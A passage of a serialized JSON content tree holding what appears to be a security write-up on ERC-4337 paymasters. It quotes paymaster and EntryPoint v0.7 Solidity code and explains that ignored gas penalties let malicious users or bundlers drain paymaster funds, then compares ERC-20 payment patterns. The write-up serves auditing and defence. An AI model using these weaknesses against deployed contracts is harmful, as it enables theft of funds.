actualTokenNeeded);\n",{"type":24,"tag":327,"props":110935,"children":110936},{"class":329,"line":87691},[110937,110941,110945,110949,110953,110957],{"type":24,"tag":327,"props":110938,"children":110939},{"style":346},[110940],{"type":29,"value":77319},{"type":24,"tag":327,"props":110942,"children":110943},{"style":425},[110944],{"type":29,"value":492},{"type":24,"tag":327,"props":110946,"children":110947},{"style":425},[110948],{"type":29,"value":23305},{"type":24,"tag":327,"props":110950,"children":110951},{"style":346},[110952],{"type":29,"value":110889},{"type":24,"tag":327,"props":110954,"children":110955},{"style":381},[110956],{"type":29,"value":1596},{"type":24,"tag":327,"props":110958,"children":110959},{"style":346},[110960],{"type":29,"value":110898},{"type":24,"tag":327,"props":110962,"children":110963},{"class":329,"line":87699},[110964],{"type":24,"tag":327,"props":110965,"children":110966},{"style":551},[110967],{"type":29,"value":110968},"                // Attempt to cover Paymaster's gas expenses by withdrawing the 'overdraft' from the client\n",{"type":24,"tag":327,"props":110970,"children":110971},{"class":329,"line":87707},[110972],{"type":24,"tag":327,"props":110973,"children":110974},{"style":551},[110975],{"type":29,"value":110976},"                // If the transfer reverts also revert the 'postOp' to remove the incentive to cheat\n",{"type":24,"tag":327,"props":110978,"children":110979},{"class":329,"line":87715},[110980,110984,110988,110993,110997,111001,111005,111010,111014],{"type":24,"tag":327,"props":110981,"children":110982},{"style":346},[110983],{"type":29,"value":110914},{"type":24,"tag":327,"props":110985,"children":110986},{"style":340},[110987],{"type":29,"value":110365},{"type":24,"tag":327,"props":110989,"children":110990},{"style":346},[110991],{"type":29,"value":110992},"(token, userOpSender, ",{"type":24,"tag":327,"props":110994,"children":110995},{"style":1639},[110996],{"type":29,"value":39351},{"type":24,"tag":327,"props":110998,"children":110999},{"style":346},[111000],{"type":29,"value":349},{"type":24,"tag":327,"props":111002,"children":111003},{"style":334},[111004],{"type":29,"value":25202},{"type":24,"tag":327,"props":111006,"children":111007},{"style":346},[111008],{"type":29,"value":111009},"), actualTokenNeeded ",{"type":24,"tag":327,"props":111011,"children":111012},{"style":381},[111013],{"type":29,"value":11899},{"type":24,"tag":327,"props":111015,"children":111016},{"style":346},[111017],{"type":29,"value":111018}," preCharge);\n",{"type":24,"tag":327,"props":111020,"children":111021},{"class":329,"line":87755},[111022],{"type":24,"tag":327,"props":111023,"children":111024},{"style":346},[111025],{"type":29,"value":65607},{"type":24,"tag":327,"props":111027,"children":111028},{"class":329,"line":87763},[111029],{"type":24,"tag":327,"props":111030,"children":111031},{"emptyLinePlaceholder":16},[111032],{"type":29,"value":544},{"type":24,"tag":327,"props":111034,"children":111035},{"class":329,"line":94950},[111036,111040,111045,111049,111053],{"type":24,"tag":327,"props":111037,"children":111038},{"style":425},[111039],{"type":29,"value":65523},{"type":24,"tag":327,"props":111041,"children":111042},{"style":346},[111043],{"type":29,"value":111044}," (baseFee ",{"type":24,"tag":327,"props":111046,"children":111047},{"style":381},[111048],{"type":29,"value":438},{"type":24,"tag":327,"props":111050,"children":111051},{"style":397},[111052],{"type":29,"value":6695},{"type":24,"tag":327,"props":111054,"children":111055},{"style":346},[111056],{"type":29,"value":364},{"type":24,"tag":327,"props":111058,"children":111059},{"class":329,"line":94958},[111060,111064,111068],{"type":24,"tag":327,"props":111061,"children":111062},{"style":346},[111063],{"type":29,"value":110914},{"type":24,"tag":327,"props":111065,"children":111066},{"style":340},[111067],{"type":29,"value":110919},{"type":24,"tag":327,"props":111069,"children":111070},{"style":346},[111071],{"type":29,"value":111072},"(token, tokenPaymasterConfig.rewardsPool, baseFee);\n",{"type":24,"tag":327,"props":111074,"children":111075},{"class":329,"line":108304},[111076],{"type":24,"tag":327,"props":111077,"children":111078},{"style":346},[111079],{"type":29,"value":65607},{"type":24,"tag":327,"props":111081,"children":111082},{"class":329,"line":108312},[111083],{"type":24,"tag":327,"props":111084,"children":111085},{"emptyLinePlaceholder":16},[111086],{"type":29,"value":544},{"type":24,"tag":327,"props":111088,"children":111089},{"class":329,"line":108320},[111090,111095,111100],{"type":24,"tag":327,"props":111091,"children":111092},{"style":425},[111093],{"type":29,"value":111094},"            emit",{"type":24,"tag":327,"props":111096,"children":111097},{"style":340},[111098],{"type":29,"value":111099}," UserOperationSponsored",{"type":24,"tag":327,"props":111101,"children":111102},{"style":346},[111103],{"type":29,"value":111104},"(userOpSender, actualTokenNeeded, actualGasCost, cachedPriceWithMarkup, baseFee);\n",{"type":24,"tag":327,"props":111106,"children":111107},{"class":329,"line":108328},[111108,111113],{"type":24,"tag":327,"props":111109,"children":111110},{"style":340},[111111],{"type":29,"value":111112},"            refillEntryPointDeposit",{"type":24,"tag":327,"props":111114,"children":111115},{"style":346},[111116],{"type":29,"value":111117},"(_cachedPrice);\n",{"type":24,"tag":327,"props":111119,"children":111120},{"class":329,"line":108356},[111121],{"type":24,"tag":327,"props":111122,"children":111123},{"style":346},[111124],{"type":29,"value":8989},{"type":24,"tag":327,"props":111126,"children":111128},{"class":329,"line":111127},67,[111129],{"type":24,"tag":327,"props":111130,"children":111131},{"style":346},[111132],{"type":29,"value":535},{"type":24,"tag":327,"props":111134,"children":111136},{"class":329,"line":111135},68,[111137],{"type":24,"tag":327,"props":111138,"children":111139},{"style":346},[111140],{"type":29,"value":592},{"type":24,"tag":25,"props":111142,"children":111143},{},[111144,111146,111152,111154,111159,111161,111167],{"type":29,"value":111145},"Looking at the code above, during ",{"type":24,"tag":284,"props":111147,"children":111149},{"className":111148},[],[111150],{"type":29,"value":111151},"validatePaymasterUserOp",{"type":29,"value":111153},", the paymaster attempts to charge a maximum prefund amount first. This prefund is calculated by taking the gas limit specified in the ",{"type":24,"tag":284,"props":111155,"children":111157},{"className":111156},[],[111158],{"type":29,"value":109210},{"type":29,"value":111160}," and applying a markup price to convert the native ETH cost into the equivalent ERC20-token value. Later in ",{"type":24,"tag":284,"props":111162,"children":111164},{"className":111163},[],[111165],{"type":29,"value":111166},"postOp",{"type":29,"value":111168},", the paymaster calculates the actual charge and refunds any excess from the prefund.",{"type":24,"tag":25,"props":111170,"children":111171},{},[111172,111174,111179,111181,111188],{"type":29,"value":111173},"However, there is a critical oversight: ",{"type":24,"tag":188,"props":111175,"children":111176},{},[111177],{"type":29,"value":111178},"the code does not account for gas penalties",{"type":29,"value":111180},". The actual gas charged to the paymaster includes not just the gas used, but also any ",{"type":24,"tag":57,"props":111182,"children":111185},{"href":111183,"rel":111184},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.7/contracts/core/EntryPoint.sol#L726-L730",[61],[111186],{"type":29,"value":111187},"penalties incurred",{"type":29,"value":111189}," from differences between the execution gas limit and actual execution gas.",{"type":24,"tag":25,"props":111191,"children":111192},{},[111193],{"type":29,"value":111194},"This vulnerability can be exploited by malicious users who set an artificially high gas limit to trigger the penalty. When penalties are applied, the paymaster will be charged significantly more than expected, potentially draining its funds since these additional costs were not factored into the calculation.",{"type":24,"tag":25,"props":111196,"children":111197},{},[111198,111200,111205],{"type":29,"value":111199},"In fact, the bundler will be the one who receives the penalty paid by the paymaster. This means a bundler could submit their own ",{"type":24,"tag":284,"props":111201,"children":111203},{"className":111202},[],[111204],{"type":29,"value":108909},{"type":29,"value":111206}," to be executed by themselves and profit if the penalty they can extract from the paymaster exceeds their own gas costs paid to the paymaster. In SEND's case, fortunately, because they operate their own bundler, any penalties incurred flow back to their controlled bundler, creating a closed economic loop that mitigates this particular attack vector.",{"type":24,"tag":228,"props":111208,"children":111210},{"id":111209},"incorrect-erc-20-handling",[111211],{"type":24,"tag":188,"props":111212,"children":111213},{},[111214],{"type":29,"value":111215},"Incorrect ERC-20 Handling",{"type":24,"tag":25,"props":111217,"children":111218},{},[111219],{"type":29,"value":111220},"To improve user experience, some protocols introduced ERC-20 paymasters that allow users to pay transaction gas fees using ERC-20 tokens instead of native ETH (Just like what SEND did in the above code). The core concept is quite straightforward, the paymaster fronts the ETH gas costs to bundlers, then charges users an equivalent amount in ERC-20 tokens based on current market rates. However, implementing this token-to-ETH conversion and payment flow securely requires careful consideration.",{"type":24,"tag":25,"props":111222,"children":111223},{},[111224,111225,111230,111232,111237],{"type":29,"value":52015},{"type":24,"tag":284,"props":111226,"children":111228},{"className":111227},[],[111229],{"type":29,"value":108990},{"type":29,"value":111231}," flow above, we can see that paymasters have two key interaction points during a ",{"type":24,"tag":284,"props":111233,"children":111235},{"className":111234},[],[111236],{"type":29,"value":108909},{"type":29,"value":111238},"'s lifecycle:",{"type":24,"tag":175,"props":111240,"children":111241},{},[111242,111252],{"type":24,"tag":179,"props":111243,"children":111244},{},[111245,111247],{"type":29,"value":111246},"During validation via ",{"type":24,"tag":284,"props":111248,"children":111250},{"className":111249},[],[111251],{"type":29,"value":109097},{"type":24,"tag":179,"props":111253,"children":111254},{},[111255,111257],{"type":29,"value":111256},"After execution via ",{"type":24,"tag":284,"props":111258,"children":111260},{"className":111259},[],[111261],{"type":29,"value":109108},{"type":24,"tag":25,"props":111263,"children":111264},{},[111265],{"type":29,"value":111266},"This dual-interaction model has led to two predominant patterns for handling ERC-20 payments in paymaster implementations:",{"type":24,"tag":235,"props":111268,"children":111270},{"id":111269},"_1-pre-payment-with-refund-pattern",[111271],{"type":29,"value":111272},"1. Pre-Payment with Refund Pattern",{"type":24,"tag":25,"props":111274,"children":111275},{},[111276,111278,111283,111285,111290,111292,111298,111299,111305,111307,111312,111314,111319,111321,111326],{"type":29,"value":111277},"In this model, the paymaster requires users to pre-pay the maximum possible gas cost in ERC-20 tokens during ",{"type":24,"tag":284,"props":111279,"children":111281},{"className":111280},[],[111282],{"type":29,"value":109097},{"type":29,"value":111284},". After execution completes, ",{"type":24,"tag":284,"props":111286,"children":111288},{"className":111287},[],[111289],{"type":29,"value":109108},{"type":29,"value":111291}," refunds any excess tokens based on actual gas consumed. This is analogous to how regular ETH gas payments work. Several protocols like ",{"type":24,"tag":284,"props":111293,"children":111295},{"className":111294},[],[111296],{"type":29,"value":111297},"SEND",{"type":29,"value":1323},{"type":24,"tag":284,"props":111300,"children":111302},{"className":111301},[],[111303],{"type":29,"value":111304},"Circle",{"type":29,"value":111306}," have implemented this approach. However, this pattern has one key disadvantage: users must first approve the paymaster to spend their ERC20 tokens before submitting any ",{"type":24,"tag":284,"props":111308,"children":111310},{"className":111309},[],[111311],{"type":29,"value":108938},{"type":29,"value":111313},". This additional setup step is required to ensure the paymaster can successfully deduct tokens ",{"type":24,"tag":188,"props":111315,"children":111316},{},[111317],{"type":29,"value":111318},"before",{"type":29,"value":111320}," execution (specifically during ",{"type":24,"tag":284,"props":111322,"children":111324},{"className":111323},[],[111325],{"type":29,"value":111151},{"type":29,"value":2108},{"type":24,"tag":235,"props":111328,"children":111330},{"id":111329},"_2-post-execution-charging-pattern",[111331],{"type":29,"value":111332},"2. Post-Execution Charging Pattern",{"type":24,"tag":25,"props":111334,"children":111335},{},[111336,111338,111343,111345,111350,111352,111357,111359,111364],{"type":29,"value":111337},"This alternative approach defers token collection until after execution. Instead of charging a prefund during ",{"type":24,"tag":284,"props":111339,"children":111341},{"className":111340},[],[111342],{"type":29,"value":109097},{"type":29,"value":111344},", the actual token payment is calculated and collected in ",{"type":24,"tag":284,"props":111346,"children":111348},{"className":111347},[],[111349],{"type":29,"value":109108},{"type":29,"value":111351}," based on the exact gas consumed. At first glance, this appears to be the most user-friendly pattern since users can bundle their token approval transaction within the same ",{"type":24,"tag":284,"props":111353,"children":111355},{"className":111354},[],[111356],{"type":29,"value":108909},{"type":29,"value":111358},", eliminating the need for a separate pre-approval transaction before submitting the ",{"type":24,"tag":284,"props":111360,"children":111362},{"className":111361},[],[111363],{"type":29,"value":109210},{"type":29,"value":111365},". This means users could interact with the paymaster without any prior setup.",{"type":24,"tag":25,"props":111367,"children":111368},{},[111369,111371,111376,111378,111384,111386,111392,111394,111399],{"type":29,"value":111370},"This approach used to work in ",{"type":24,"tag":284,"props":111372,"children":111374},{"className":111373},[],[111375],{"type":29,"value":108990},{"type":29,"value":111377}," version ",{"type":24,"tag":284,"props":111379,"children":111381},{"className":111380},[],[111382],{"type":29,"value":111383},"v0.6",{"type":29,"value":111385},", but the pattern no longer works in ",{"type":24,"tag":284,"props":111387,"children":111389},{"className":111388},[],[111390],{"type":29,"value":111391},"v0.7",{"type":29,"value":111393},". In fact, using this pattern can lead to loss of funds for the paymaster. Let's take a closer look at how ",{"type":24,"tag":284,"props":111395,"children":111397},{"className":111396},[],[111398],{"type":29,"value":111391},{"type":29,"value":111400}," handles the execution phase:",{"type":24,"tag":317,"props":111402,"children":111404},{"className":12046,"code":111403,"language":12045,"meta":7,"style":7},"    function _executeUserOp(\n        uint256 opIndex,\n        PackedUserOperation calldata userOp,\n        UserOpInfo memory opInfo\n    )\n    internal virtual\n    returns (uint256 collected) {\n    [...]\n        bool success;\n        {\n    [...]\n            if (methodSig == IAccountExecute.executeUserOp.selector) {\n                bytes memory executeUserOp = abi.encodeCall(IAccountExecute.executeUserOp, (userOp, opInfo.userOpHash));\n                innerCall = abi.encodeCall(this.innerHandleOp, (executeUserOp, opInfo, context));\n            } else\n            {\n                innerCall = abi.encodeCall(this.innerHandleOp, (callData, opInfo, context));\n            }\n            assembly (\"memory-safe\") {\n                success := call(gas(), address(), 0, add(innerCall, 0x20), mload(innerCall), 0, 32)\n                collected := mload(0)\n            }\n            _restoreFreePtr(saveFreePtr);\n        }\n        if (!success) {\n    [...]\n            if (innerRevertCode == INNER_OUT_OF_GAS) {\n                // handleOps was called with gas limit too low. abort entire bundle.\n                // can only be caused by bundler (leaving not enough gas for inner call)\n                revert FailedOp(opIndex, \"AA95 out of gas\");\n            } else if (innerRevertCode == INNER_REVERT_LOW_PREFUND) {\n                // innerCall reverted on prefund too low. treat entire prefund as \"gas cost\"\n                uint256 actualGas = preGas - gasleft() + opInfo.preOpGas;\n                uint256 actualGasCost = opInfo.prefund;\n                _emitPrefundTooLow(opInfo);\n                _emitUserOperationEvent(opInfo, false, actualGasCost, actualGas);\n                collected = actualGasCost;\n            } else {\n    [...]\n                collected = _postExecution(\n                    IPaymaster.PostOpMode.postOpReverted,\n                    opInfo,\n                    context,\n                    actualGas\n                );\n            }\n        }\n    }\n",[111405],{"type":24,"tag":284,"props":111406,"children":111407},{"__ignoreMap":7},[111408,111424,111440,111460,111477,111484,111497,111521,111529,111542,111549,111556,111577,111616,111653,111665,111672,111708,111715,111736,111825,111854,111861,111874,111881,111901,111908,111929,111937,111945,111972,112000,112008,112051,112071,112084,112106,112122,112137,112144,112164,112172,112180,112188,112196,112204,112211,112218],{"type":24,"tag":327,"props":111409,"children":111410},{"class":329,"line":330},[111411,111415,111420],{"type":24,"tag":327,"props":111412,"children":111413},{"style":334},[111414],{"type":29,"value":96558},{"type":24,"tag":327,"props":111416,"children":111417},{"style":340},[111418],{"type":29,"value":111419}," _executeUserOp",{"type":24,"tag":327,"props":111421,"children":111422},{"style":346},[111423],{"type":29,"value":4663},{"type":24,"tag":327,"props":111425,"children":111426},{"class":329,"line":367},[111427,111431,111436],{"type":24,"tag":327,"props":111428,"children":111429},{"style":1639},[111430],{"type":29,"value":96736},{"type":24,"tag":327,"props":111432,"children":111433},{"style":356},[111434],{"type":29,"value":111435}," opIndex",{"type":24,"tag":327,"props":111437,"children":111438},{"style":346},[111439],{"type":29,"value":2231},{"type":24,"tag":327,"props":111441,"children":111442},{"class":329,"line":408},[111443,111448,111452,111456],{"type":24,"tag":327,"props":111444,"children":111445},{"style":334},[111446],{"type":29,"value":111447},"        PackedUserOperation",{"type":24,"tag":327,"props":111449,"children":111450},{"style":334},[111451],{"type":29,"value":109739},{"type":24,"tag":327,"props":111453,"children":111454},{"style":356},[111455],{"type":29,"value":109744},{"type":24,"tag":327,"props":111457,"children":111458},{"style":346},[111459],{"type":29,"value":2231},{"type":24,"tag":327,"props":111461,"children":111462},{"class":329,"line":421},[111463,111468,111472],{"type":24,"tag":327,"props":111464,"children":111465},{"style":334},[111466],{"type":29,"value":111467},"        UserOpInfo",{"type":24,"tag":327,"props":111469,"children":111470},{"style":334},[111471],{"type":29,"value":109807},{"type":24,"tag":327,"props":111473,"children":111474},{"style":356},[111475],{"type":29,"value":111476}," opInfo\n",{"type":24,"tag":327,"props":111478,"children":111479},{"class":329,"line":450},[111480],{"type":24,"tag":327,"props":111481,"children":111482},{"style":346},[111483],{"type":29,"value":5366},{"type":24,"tag":327,"props":111485,"children":111486},{"class":329,"line":481},[111487,111492],{"type":24,"tag":327,"props":111488,"children":111489},{"style":334},[111490],{"type":29,"value":111491},"    internal",{"type":24,"tag":327,"props":111493,"children":111494},{"style":334},[111495],{"type":29,"value":111496}," virtual\n",{"type":24,"tag":327,"props":111498,"children":111499},{"class":329,"line":500},[111500,111504,111508,111512,111517],{"type":24,"tag":327,"props":111501,"children":111502},{"style":425},[111503],{"type":29,"value":53228},{"type":24,"tag":327,"props":111505,"children":111506},{"style":346},[111507],{"type":29,"value":5894},{"type":24,"tag":327,"props":111509,"children":111510},{"style":1639},[111511],{"type":29,"value":52887},{"type":24,"tag":327,"props":111513,"children":111514},{"style":356},[111515],{"type":29,"value":111516}," collected",{"type":24,"tag":327,"props":111518,"children":111519},{"style":346},[111520],{"type":29,"value":364},{"type":24,"tag":327,"props":111522,"children":111523},{"class":329,"line":529},[111524],{"type":24,"tag":327,"props":111525,"children":111526},{"style":346},[111527],{"type":29,"value":111528},"    [...]\n",{"type":24,"tag":327,"props":111530,"children":111531},{"class":329,"line":538},[111532,111537],{"type":24,"tag":327,"props":111533,"children":111534},{"style":1639},[111535],{"type":29,"value":111536},"        bool",{"type":24,"tag":327,"props":111538,"children":111539},{"style":346},[111540],{"type":29,"value":111541}," success;\n",{"type":24,"tag":327,"props":111543,"children":111544},{"class":329,"line":547},[111545],{"type":24,"tag":327,"props":111546,"children":111547},{"style":346},[111548],{"type":29,"value":38369},{"type":24,"tag":327,"props":111550,"children":111551},{"class":329,"line":557},[111552],{"type":24,"tag":327,"props":111553,"children":111554},{"style":346},[111555],{"type":29,"value":111528},{"type":24,"tag":327,"props":111557,"children":111558},{"class":329,"line":586},[111559,111563,111568,111572],{"type":24,"tag":327,"props":111560,"children":111561},{"style":425},[111562],{"type":29,"value":65523},{"type":24,"tag":327,"props":111564,"children":111565},{"style":346},[111566],{"type":29,"value":111567}," (methodSig ",{"type":24,"tag":327,"props":111569,"children":111570},{"style":381},[111571],{"type":29,"value":642},{"type":24,"tag":327,"props":111573,"children":111574},{"style":346},[111575],{"type":29,"value":111576}," IAccountExecute.executeUserOp.selector) {\n",{"type":24,"tag":327,"props":111578,"children":111579},{"class":329,"line":1017},[111580,111585,111589,111594,111598,111602,111606,111611],{"type":24,"tag":327,"props":111581,"children":111582},{"style":1639},[111583],{"type":29,"value":111584},"                bytes",{"type":24,"tag":327,"props":111586,"children":111587},{"style":334},[111588],{"type":29,"value":109807},{"type":24,"tag":327,"props":111590,"children":111591},{"style":346},[111592],{"type":29,"value":111593}," executeUserOp ",{"type":24,"tag":327,"props":111595,"children":111596},{"style":381},[111597],{"type":29,"value":384},{"type":24,"tag":327,"props":111599,"children":111600},{"style":334},[111601],{"type":29,"value":110404},{"type":24,"tag":327,"props":111603,"children":111604},{"style":346},[111605],{"type":29,"value":66},{"type":24,"tag":327,"props":111607,"children":111608},{"style":340},[111609],{"type":29,"value":111610},"encodeCall",{"type":24,"tag":327,"props":111612,"children":111613},{"style":346},[111614],{"type":29,"value":111615},"(IAccountExecute.executeUserOp, (userOp, opInfo.userOpHash));\n",{"type":24,"tag":327,"props":111617,"children":111618},{"class":329,"line":1026},[111619,111624,111628,111632,111636,111640,111644,111648],{"type":24,"tag":327,"props":111620,"children":111621},{"style":346},[111622],{"type":29,"value":111623},"                innerCall ",{"type":24,"tag":327,"props":111625,"children":111626},{"style":381},[111627],{"type":29,"value":384},{"type":24,"tag":327,"props":111629,"children":111630},{"style":334},[111631],{"type":29,"value":110404},{"type":24,"tag":327,"props":111633,"children":111634},{"style":346},[111635],{"type":29,"value":66},{"type":24,"tag":327,"props":111637,"children":111638},{"style":340},[111639],{"type":29,"value":111610},{"type":24,"tag":327,"props":111641,"children":111642},{"style":346},[111643],{"type":29,"value":349},{"type":24,"tag":327,"props":111645,"children":111646},{"style":334},[111647],{"type":29,"value":25202},{"type":24,"tag":327,"props":111649,"children":111650},{"style":346},[111651],{"type":29,"value":111652},".innerHandleOp, (executeUserOp, opInfo, context));\n",{"type":24,"tag":327,"props":111654,"children":111655},{"class":329,"line":1048},[111656,111660],{"type":24,"tag":327,"props":111657,"children":111658},{"style":346},[111659],{"type":29,"value":77319},{"type":24,"tag":327,"props":111661,"children":111662},{"style":425},[111663],{"type":29,"value":111664},"else\n",{"type":24,"tag":327,"props":111666,"children":111667},{"class":329,"line":1067},[111668],{"type":24,"tag":327,"props":111669,"children":111670},{"style":346},[111671],{"type":29,"value":38405},{"type":24,"tag":327,"props":111673,"children":111674},{"class":329,"line":1075},[111675,111679,111683,111687,111691,111695,111699,111703],{"type":24,"tag":327,"props":111676,"children":111677},{"style":346},[111678],{"type":29,"value":111623},{"type":24,"tag":327,"props":111680,"children":111681},{"style":381},[111682],{"type":29,"value":384},{"type":24,"tag":327,"props":111684,"children":111685},{"style":334},[111686],{"type":29,"value":110404},{"type":24,"tag":327,"props":111688,"children":111689},{"style":346},[111690],{"type":29,"value":66},{"type":24,"tag":327,"props":111692,"children":111693},{"style":340},[111694],{"type":29,"value":111610},{"type":24,"tag":327,"props":111696,"children":111697},{"style":346},[111698],{"type":29,"value":349},{"type":24,"tag":327,"props":111700,"children":111701},{"style":334},[111702],{"type":29,"value":25202},{"type":24,"tag":327,"props":111704,"children":111705},{"style":346},[111706],{"type":29,"value":111707},".innerHandleOp, (callData, opInfo, context));\n",{"type":24,"tag":327,"props":111709,"children":111710},{"class":329,"line":1084},[111711],{"type":24,"tag":327,"props":111712,"children":111713},{"style":346},[111714],{"type":29,"value":65607},{"type":24,"tag":327,"props":111716,"children":111717},{"class":329,"line":1100},[111718,111723,111727,111732],{"type":24,"tag":327,"props":111719,"children":111720},{"style":340},[111721],{"type":29,"value":111722},"            assembly",{"type":24,"tag":327,"props":111724,"children":111725},{"style":346},[111726],{"type":29,"value":5894},{"type":24,"tag":327,"props":111728,"children":111729},{"style":844},[111730],{"type":29,"value":111731},"\"memory-safe\"",{"type":24,"tag":327,"props":111733,"children":111734},{"style":346},[111735],{"type":29,"value":364},{"type":24,"tag":327,"props":111737,"children":111738},{"class":329,"line":1128},[111739,111744,111748,111752,111756,111761,111765,111769,111773,111777,111781,111785,111790,111795,111799,111804,111809,111813,111817,111821],{"type":24,"tag":327,"props":111740,"children":111741},{"style":346},[111742],{"type":29,"value":111743},"                success ",{"type":24,"tag":327,"props":111745,"children":111746},{"style":381},[111747],{"type":29,"value":3001},{"type":24,"tag":327,"props":111749,"children":111750},{"style":340},[111751],{"type":29,"value":47677},{"type":24,"tag":327,"props":111753,"children":111754},{"style":346},[111755],{"type":29,"value":349},{"type":24,"tag":327,"props":111757,"children":111758},{"style":340},[111759],{"type":29,"value":111760},"gas",{"type":24,"tag":327,"props":111762,"children":111763},{"style":346},[111764],{"type":29,"value":25885},{"type":24,"tag":327,"props":111766,"children":111767},{"style":1639},[111768],{"type":29,"value":39351},{"type":24,"tag":327,"props":111770,"children":111771},{"style":346},[111772],{"type":29,"value":25885},{"type":24,"tag":327,"props":111774,"children":111775},{"style":397},[111776],{"type":29,"value":2988},{"type":24,"tag":327,"props":111778,"children":111779},{"style":346},[111780],{"type":29,"value":2744},{"type":24,"tag":327,"props":111782,"children":111783},{"style":340},[111784],{"type":29,"value":280},{"type":24,"tag":327,"props":111786,"children":111787},{"style":346},[111788],{"type":29,"value":111789},"(innerCall, ",{"type":24,"tag":327,"props":111791,"children":111792},{"style":397},[111793],{"type":29,"value":111794},"0x20",{"type":24,"tag":327,"props":111796,"children":111797},{"style":346},[111798],{"type":29,"value":22701},{"type":24,"tag":327,"props":111800,"children":111801},{"style":340},[111802],{"type":29,"value":111803},"mload",{"type":24,"tag":327,"props":111805,"children":111806},{"style":346},[111807],{"type":29,"value":111808},"(innerCall), ",{"type":24,"tag":327,"props":111810,"children":111811},{"style":397},[111812],{"type":29,"value":2988},{"type":24,"tag":327,"props":111814,"children":111815},{"style":346},[111816],{"type":29,"value":2744},{"type":24,"tag":327,"props":111818,"children":111819},{"style":397},[111820],{"type":29,"value":67069},{"type":24,"tag":327,"props":111822,"children":111823},{"style":346},[111824],{"type":29,"value":852},{"type":24,"tag":327,"props":111826,"children":111827},{"class":329,"line":1148},[111828,111833,111837,111842,111846,111850],{"type":24,"tag":327,"props":111829,"children":111830},{"style":346},[111831],{"type":29,"value":111832},"                collected ",{"type":24,"tag":327,"props":111834,"children":111835},{"style":381},[111836],{"type":29,"value":3001},{"type":24,"tag":327,"props":111838,"children":111839},{"style":340},[111840],{"type":29,"value":111841}," mload",{"type":24,"tag":327,"props":111843,"children":111844},{"style":346},[111845],{"type":29,"value":349},{"type":24,"tag":327,"props":111847,"children":111848},{"style":397},[111849],{"type":29,"value":2988},{"type":24,"tag":327,"props":111851,"children":111852},{"style":346},[111853],{"type":29,"value":852},{"type":24,"tag":327,"props":111855,"children":111856},{"class":329,"line":1176},[111857],{"type":24,"tag":327,"props":111858,"children":111859},{"style":346},[111860],{"type":29,"value":65607},{"type":24,"tag":327,"props":111862,"children":111863},{"class":329,"line":1184},[111864,111869],{"type":24,"tag":327,"props":111865,"children":111866},{"style":340},[111867],{"type":29,"value":111868},"            _restoreFreePtr",{"type":24,"tag":327,"props":111870,"children":111871},{"style":346},[111872],{"type":29,"value":111873},"(saveFreePtr);\n",{"type":24,"tag":327,"props":111875,"children":111876},{"class":329,"line":1192},[111877],{"type":24,"tag":327,"props":111878,"children":111879},{"style":346},[111880],{"type":29,"value":8989},{"type":24,"tag":327,"props":111882,"children":111883},{"class":329,"line":1212},[111884,111888,111892,111896],{"type":24,"tag":327,"props":111885,"children":111886},{"style":425},[111887],{"type":29,"value":8861},{"type":24,"tag":327,"props":111889,"children":111890},{"style":346},[111891],{"type":29,"value":5894},{"type":24,"tag":327,"props":111893,"children":111894},{"style":381},[111895],{"type":29,"value":1986},{"type":24,"tag":327,"props":111897,"children":111898},{"style":346},[111899],{"type":29,"value":111900},"success) {\n",{"type":24,"tag":327,"props":111902,"children":111903},{"class":329,"line":4841},[111904],{"type":24,"tag":327,"props":111905,"children":111906},{"style":346},[111907],{"type":29,"value":111528},{"type":24,"tag":327,"props":111909,"children":111910},{"class":329,"line":4862},[111911,111915,111920,111924],{"type":24,"tag":327,"props":111912,"children":111913},{"style":425},[111914],{"type":29,"value":65523},{"type":24,"tag":327,"props":111916,"children":111917},{"style":346},[111918],{"type":29,"value":111919}," (innerRevertCode ",{"type":24,"tag":327,"props":111921,"children":111922},{"style":381},[111923],{"type":29,"value":642},{"type":24,"tag":327,"props":111925,"children":111926},{"style":346},[111927],{"type":29,"value":111928}," INNER_OUT_OF_GAS) {\n",{"type":24,"tag":327,"props":111930,"children":111931},{"class":329,"line":4870},[111932],{"type":24,"tag":327,"props":111933,"children":111934},{"style":551},[111935],{"type":29,"value":111936},"                // handleOps was called with gas limit too low. abort entire bundle.\n",{"type":24,"tag":327,"props":111938,"children":111939},{"class":329,"line":4879},[111940],{"type":24,"tag":327,"props":111941,"children":111942},{"style":551},[111943],{"type":29,"value":111944},"                // can only be caused by bundler (leaving not enough gas for inner call)\n",{"type":24,"tag":327,"props":111946,"children":111947},{"class":329,"line":4913},[111948,111953,111958,111963,111968],{"type":24,"tag":327,"props":111949,"children":111950},{"style":425},[111951],{"type":29,"value":111952},"                revert",{"type":24,"tag":327,"props":111954,"children":111955},{"style":340},[111956],{"type":29,"value":111957}," FailedOp",{"type":24,"tag":327,"props":111959,"children":111960},{"style":346},[111961],{"type":29,"value":111962},"(opIndex, ",{"type":24,"tag":327,"props":111964,"children":111965},{"style":844},[111966],{"type":29,"value":111967},"\"AA95 out of gas\"",{"type":24,"tag":327,"props":111969,"children":111970},{"style":346},[111971],{"type":29,"value":583},{"type":24,"tag":327,"props":111973,"children":111974},{"class":329,"line":4938},[111975,111979,111983,111987,111991,111995],{"type":24,"tag":327,"props":111976,"children":111977},{"style":346},[111978],{"type":29,"value":77319},{"type":24,"tag":327,"props":111980,"children":111981},{"style":425},[111982],{"type":29,"value":492},{"type":24,"tag":327,"props":111984,"children":111985},{"style":425},[111986],{"type":29,"value":23305},{"type":24,"tag":327,"props":111988,"children":111989},{"style":346},[111990],{"type":29,"value":111919},{"type":24,"tag":327,"props":111992,"children":111993},{"style":381},[111994],{"type":29,"value":642},{"type":24,"tag":327,"props":111996,"children":111997},{"style":346},[111998],{"type":29,"value":111999}," INNER_REVERT_LOW_PREFUND) {\n",{"type":24,"tag":327,"props":112001,"children":112002},{"class":329,"line":4974},[112003],{"type":24,"tag":327,"props":112004,"children":112005},{"style":551},[112006],{"type":29,"value":112007},"                // innerCall reverted on prefund too low. treat entire prefund as \"gas cost\"\n",{"type":24,"tag":327,"props":112009,"children":112010},{"class":329,"line":4982},[112011,112015,112020,112024,112029,112033,112038,112042,112046],{"type":24,"tag":327,"props":112012,"children":112013},{"style":1639},[112014],{"type":29,"value":110187},{"type":24,"tag":327,"props":112016,"children":112017},{"style":346},[112018],{"type":29,"value":112019}," actualGas ",{"type":24,"tag":327,"props":112021,"children":112022},{"style":381},[112023],{"type":29,"value":384},{"type":24,"tag":327,"props":112025,"children":112026},{"style":346},[112027],{"type":29,"value":112028}," preGas ",{"type":24,"tag":327,"props":112030,"children":112031},{"style":381},[112032],{"type":29,"value":11899},{"type":24,"tag":327,"props":112034,"children":112035},{"style":334},[112036],{"type":29,"value":112037}," 